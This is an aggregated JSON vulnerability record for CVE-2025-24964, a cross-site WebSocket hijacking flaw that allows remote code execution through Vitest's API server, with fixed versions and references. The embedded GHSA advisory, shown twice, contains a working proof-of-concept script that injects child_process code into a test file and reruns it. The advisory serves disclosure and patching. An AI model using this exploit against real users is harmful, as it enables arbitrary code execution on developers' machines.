{"id":"CVE-2025-24964","aliases":["CLSA-2026-1793093026","EUVD-2025-0225","GHSA-9crc-q9x8-hgqq","ROOT-APP-NPM-CVE-2025-24964"],"status":"published","title":"Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00682,"percentile":0.52732,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1385"],"published":"2025-02-04T17:00:57Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"npm","package":"vitest","fixed_in":["1.6.1","2.1.9","3.0.5"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vitest","fixed_in":["1.6.1-aikido.1","1.6.1-aikido.2","2.1.9-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vitest","fixed_in":["1.6.1-root.io.1","1.6.1-root.io.2","2.1.9-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.6.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.0.5"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.125"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.5-tuxcare.0"},{"fixed":"2.0.5-tuxcare.1"}]}],"versions":["2.0.5"],"bundled":4},{"source":"osv","ecosystem":"npm","package":"vitest","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"npm","package":"vitest","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.1.9"}]}]},{"source":"osv","ecosystem":"npm","package":"vitest","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.5"}]}]},{"source":"osv","ecosystem":"npm","package":"vitest","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.125"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.1-aikido.1"},{"fixed":"1.6.1-aikido.2"},{"fixed":"2.1.9-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.1-root.io.1"},{"fixed":"1.6.1-root.io.2"},{"fixed":"2.1.9-root.io.1"}]}]}],"products":[{"vendor":"vitest-dev","product":"vitest"},{"vendor":"vitest.dev","product":"vitest"}],"references":[{"url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46","tags":["x_refsource_MISC","Product","web"]},{"url":"https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76","tags":["x_refsource_MISC","Product","web"]},{"url":"https://vitest.dev/config/#api","tags":["x_refsource_MISC","Product","web"]},{"url":"https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc","tags":["web"]},{"url":"https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241","tags":["web"]},{"url":"https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24964","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9crc-q9x8-hgqq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24964.json","tags":["advisory"]},{"url":"https://github.com/vitest-dev/vitest","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-24964","title":"Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2025-02-04T19:36:50.509Z","modified":"2025-02-12T20:51:28.286Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T14:32:44.11109Z"}],"euvd":[{"id":"EUVD-2025-0225","description":"Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2025-02-04T19:36:50Z","modified":"2025-02-12T20:51:28Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:03:55.950052Z"}],"ghsa":[{"id":"GHSA-9crc-q9x8-hgqq","title":"Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"### Summary\nArbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.\n\n### Details\nWhen [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46\n\nThis WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76\n\n### PoC\n1. Open Vitest UI.\n2. Access a malicious web site with the script below.\n3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.\n\n```js\n// code from https://github.com/WebReflection/flatted\nconst Flatted=function(n){\"use strict\";function t(n){return t=\"function\"==typeof Symbol\u0026\u0026\"symbol\"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n\u0026\u0026\"function\"==typeof Symbol\u0026\u0026n.constructor===Symbol\u0026\u0026n!==Symbol.prototype?\"symbol\":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f=\"string\",i={},c=\"object\",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p\u003cy;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i\u0026\u0026(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g\u003cm;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c\u0026\u0026u?y(o,new Set,u,f):u;return f.call({\"\":i},\"\",i)},S=function(n,r,o){for(var u=r\u0026\u0026t(r)===c?function(n,t){return\"\"===n||-1\u003cr.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({\"\":n},\"\",n)),v=!y;y\u003cl.length;)v=!0,s[y]=e(l[y++],S,o);return\"[\"+s.join(\",\")+\"]\";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});\n\n// actual code to run\nconst ws = new WebSocket('ws://localhost:51204/__vitest_api__')\nws.addEventListener('message', e =\u003e {\n    console.log(e.data)\n})\nws.addEventListener('open', () =\u003e {\n    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: \"getFiles\", a: [] }))\n\n    const testFilePath = \"/path/to/test-file/basic.test.ts\" // use a test file returned from the response of \"getFiles\"\n\n    // edit file content to inject command execution\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"saveTestFile\",\n      a: [testFilePath, \"import child_process from 'child_process';child_process.execSync('calc')\"]\n    }))\n    // rerun the tests to run the injected command execution code\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"rerun\",\n      a: [testFilePath]\n    }))\n})\n```\n\n### Impact\nThis vulnerability can result in remote code execution for users that are using Vitest serve API.","status":"published","published":"2025-02-04T17:00:57Z","modified":"2025-02-04T22:04:11Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T14:38:29.866763Z"}],"nvd":[{"id":"CVE-2025-24964","description":"Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2025-02-04T20:15:50.483Z","modified":"2026-06-17T08:59:53.55Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T14:10:50.916773Z"}],"osv":[{"id":"CVE-2025-24964","title":"Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When `api` option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2025-02-04T19:36:50.509Z","modified":"2026-10-28T02:30:31.001528391Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T15:44:47.386092Z"},{"id":"GHSA-9crc-q9x8-hgqq","title":"Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"### Summary\nArbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.\n\n### Details\nWhen [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46\n\nThis WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76\n\n### PoC\n1. Open Vitest UI.\n2. Access a malicious web site with the script below.\n3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.\n\n```js\n// code from https://github.com/WebReflection/flatted\nconst Flatted=function(n){\"use strict\";function t(n){return t=\"function\"==typeof Symbol\u0026\u0026\"symbol\"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n\u0026\u0026\"function\"==typeof Symbol\u0026\u0026n.constructor===Symbol\u0026\u0026n!==Symbol.prototype?\"symbol\":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f=\"string\",i={},c=\"object\",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p\u003cy;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i\u0026\u0026(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g\u003cm;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c\u0026\u0026u?y(o,new Set,u,f):u;return f.call({\"\":i},\"\",i)},S=function(n,r,o){for(var u=r\u0026\u0026t(r)===c?function(n,t){return\"\"===n||-1\u003cr.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({\"\":n},\"\",n)),v=!y;y\u003cl.length;)v=!0,s[y]=e(l[y++],S,o);return\"[\"+s.join(\",\")+\"]\";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});\n\n// actual code to run\nconst ws = new WebSocket('ws://localhost:51204/__vitest_api__')\nws.addEventListener('message', e =\u003e {\n    console.log(e.data)\n})\nws.addEventListener('open', () =\u003e {\n    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: \"getFiles\", a: [] }))\n\n    const testFilePath = \"/path/to/test-file/basic.test.ts\" // use a test file returned from the response of \"getFiles\"\n\n    // edit file content to inject command execution\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"saveTestFile\",\n      a: [testFilePath, \"import child_process from 'child_process';child_process.execSync('calc')\"]\n    }))\n    // rerun the tests to run the injected command execution code\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"rerun\",\n      a: [testFilePath]\n    }))\n})\n```\n\n### Impact\nThis vulnerability can result in remote code execution for users that are using Vitest serve API.","status":"published","published":"2025-02-04T17:00:57Z","modified":"2025-02-04T22:04:09Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"CLSA-2026-1793093026","title":"TuxCare security update for vitest (4 CVEs)","description":"TuxCare rebuilt vitest to address 4 CVEs. Fixed in 2.0.5-tuxcare.1.","status":"published","published":"2026-10-27T09:23:46Z","modified":"2026-10-27T13:30:02.665565012Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"ROOT-APP-NPM-CVE-2025-24964","title":"CVE-2025-24964 in vitest - Patched by Root","description":"Root has patched CVE-2025-24964 in the vitest package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-08-19T09:14:51Z","modified":"2026-08-19T10:45:03.2237968Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}
